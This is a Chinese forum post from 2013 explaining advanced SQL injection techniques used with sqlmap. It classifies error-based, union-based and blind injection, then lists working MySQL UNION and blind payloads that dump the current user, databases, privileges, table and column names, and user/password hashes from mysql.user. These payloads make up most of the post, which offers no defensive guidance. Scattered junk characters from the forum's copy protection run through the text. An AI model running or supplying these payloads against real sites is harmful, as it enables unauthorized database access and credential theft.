找回密码
 立即注册
查看: 2864|回复: 0
打印 上一主题 下一主题

sqlmap高级注入

[复制链接]
跳转到指定楼层
楼主
发表于 2013-7-16 20:31:26 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
放假第一天,本应该好好放松一下,可是还是想着把文章写完先。。。
, g! n& t. p  Q, Y8 }3 \7 U
  o, H- O% d. E5 R这次的主题是高级注入,坛子里也讲到了一些,不过本文旨在给大家一个更深刻的概念和全面的理解,下面看看我自己列的一个表
' c) a8 L4 |" W5 y2 V* T6 q & }, B% c2 [: U: M% e
分类标准        分类        备注
* q  ^' r' k. j( {3 X按字段类型        整型注入,字符型注入       
# W6 r% s. \7 y: H按出现的位置        get注入,post注入,cookie注入,http header注入        5 @2 w4 z1 d; w% E2 p0 l/ _
然而高级注入是这样的- v& `, F/ i  l! A
3 i1 ]1 j( A: J1 {% }% U% E1 @
高级注入分类        条件
. O3 u6 c* _, w' I3 b6 Zerror-based sql        数据库的错误回显可以返回,存在数据库,表结构/ D) ]" X7 [7 T3 J
union-based sql        能够使用union,存在数据库,表结构
. o. @6 n* M7 J) ?* Z3 e* Rblind sql        存在注入
1 }$ z$ }2 X  }9 C. e& H2 E2 G我们暂且不考虑waf等的影响,只从原理上学习。通过上面我们不难发现,三种高级注入选择的顺序应该是eub(第一个字母,后面为了方便我都这样表示了 ),实际上,e是不需要知道字段数的,u需要知道字段数,e之所以在前我觉得主要是因为这个,因为在其他方面它们没有本质的区别,它们都需要知道数据库以及表的结构,这样才能构造出相应的语句,当然,能e一般能u(没过滤union等),反过来却很不一定,因为一般会有自定义的错误提醒。如果没有结构,那么就回到了最悲剧,最麻烦的b了,猜。。。当然可能没有结果,但是如果只是不能使用u,有结构,b还是能出结果的,只是苦逼点而已。。。$ a+ o" O4 U. @0 o2 p* H' j, o

# Y  j% m* J" o好了,说了这么多,该上神器sqlmap了,最近坛子里貌似很火
2 j9 w3 P) T$ d: E' h* `
4 ^: G& @1 G$ S) E! j附件分别以mysql和mssql为例子,提醒:sqlmap中使用-v 3可以查看每个请求的payload。' X2 v( I* e7 {
" u) F% m' d& d, j3 }" \/ N- p
这里用mysql说明8 _8 T1 n+ @3 V9 [
+ a  c6 Z# {! d; v
e注入坛子里很多了,请看戳我或者再戳我9 F0 j' [# m+ K; E: U$ J1 ~3 j
  e$ \5 M' q' }4 K# C) G
u注入其实也很多了,这里就大概帖上一些重要语句吧,附件上结合例子都有的
' o" k, P/ {  y* {8 `; Y! E ! v  g% f+ \: s5 @
获取当前数据库用户名
( [5 n/ t: |9 y9 T # h: F& l: }6 \, s% y2 }3 f
UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(C
. A, L) J: Z( |4 q$ |AST(CURRENT_USER() AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NUL5 s+ F7 D" M5 t) ^" K3 ]$ J# g/ K
L, NULL#  I8 U) Z( \% _$ H1 [
注意concat那里不是必须的,只是sqlmap为了自动攫取出数据加上的特征,下面语句类似,涉及基础性的知识,基友们自己去补吧。
: ]; a% a* y2 w, M; @* w- V
; [: G& c% i" k$ e$ Y获取数据库名
0 P) z+ l& Z$ A1 z7 k( v$ t: s
$ L0 H: Y2 x1 B  n5 s/ tUNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(DATABASE() AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL#9 h9 n' Q- c2 ^: I
获取所有用户名
3 L  a& e% b5 p' \' I0 d$ L& f
( U$ E+ k5 o7 R. G, E- o2 O8 F/ HUNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(grantee AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM INFORMATION_SCHEMA.USER_PRIVILEGES#
4 ~- w+ a3 ]* _" t9 g; \5 n1 H查看当前用户权限
" Y1 r* a* g: @% K7 u, b3 p ; v$ ?/ D- z; o$ o0 f9 t. \7 ~
UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(grantee AS CHAR),0x20),0x697461626a6e,IFNULL(CAST(privilege_type AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM INFORMATION_SCHEMA.USER_PRIVILEGES#& x$ [* y9 Y% x# a
尝试获取密码,当然需要有能读mysql数据库的权限0 b2 r2 }2 Q5 v% W

3 G+ a3 j5 y) c8 FUNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(user AS CHAR),0x20),0x697461626a6e,IFNULL(CAST(password AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM mysql.user#' j- f( T* A9 g0 Y4 l3 e
获取表名,limit什么的自己搞啦3 E& Q9 l4 i" l: O9 s

4 A0 \- e, j9 T7 R0 N' |UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(table_name AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM INFORMATION_SCHEMA.TABLES WHERE table_schema = 0x7061727474696d655f6a6f62#+ k% S  L) B' x& l# I- u
获取字段名及其类型
+ f. ~% {+ ?% ^1 j! o- _' SUNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(column_name AS CHAR),0×20),0x697461626a6e,IFNULL(CAST(column_type AS CHAR),0×20),0x3a6864623a),NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name=0x61646d696e5f7461626c65 AND table_schema=0x7061727474696d655f6a6f62 AND (column_name=0x61646d696e6e616d65 OR column_name=0x70617373776f7264)#
& {0 {5 Y! R0 x  l0 G( H " b9 H) H/ ?7 z: t! O0 T0 A
b注入,呵呵,除了当前用户,数据库,版本可以出来,而如果不能u,但存在数据的结构表,还是能苦逼出来,否则猜也不一定能猜到表和字段,内容自然也出不来,苦逼access啊。。。
. ~6 j  {& ?6 n: w0 A
% h  K$ }0 b6 c# H" V如:
  C: u& A' x& Q5 z  @$ K" t% ?获取当前用户名% ~5 _. p! d* p( u7 x- c

' c! P3 c. V) [7 AAND ORD(MID((IFNULL(CAST(CURRENT_USER() AS CHAR),0x20)),1,1)) > 116
6 t! v6 M. B9 I: g+ u获取当前数据库
' X$ H, J3 J+ g2 M/ m# Z3 ^! O- g2 F. r
1 g% A$ P3 h* q  U5 K7 u  v( hAND ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),6,1)) > 106: ]/ C- ^5 ^# @% m0 ^! L% H
获取表名
9 s! k1 Q& A; ?  y  \ 0 S: L1 B( F0 a& Q* X* _7 I
AND ORD(MID((SELECT IFNULL(CAST(COUNT(table_name) AS CHAR),0x20) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=0x7061727474696d655f6a6f62),1,1)) > 51
2 C. ^+ [' q9 ], a获取字段名及其类型和爆内容就不说了,改改上面的就可以了。" q% P) {* X) S: r
回到最苦逼的情况,无结构的,mysql版本<5.0,现在不多见了吧,还是看看语句。
% v, l3 D6 [, }# Y# t: z8 @6 G0 r( B爆表
4 s$ k  f$ T* m
# _: |# _+ k5 P7 N5 C  pAND EXISTS(select * from table)" S( k0 {& ?; L: V" o
爆字段: r* J7 a" r6 t

/ @, n9 h( P  Q( e  w* S7 |AND EXISTS(select pwd from table)0 B6 D1 @- \# ?2 S- `. y& C
盲注的变化就比较多了,由于篇幅,只是举个例子而已。
0 ^2 A. U- B; Y' C. ?
: w/ d, ]- Q* }本来想把mssql和access都写上的,不过编辑得太累了,有时间再写吧,其实原理都差不多,今天就洗洗睡了吧。
6 s( H9 E4 a6 l: M/ K
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表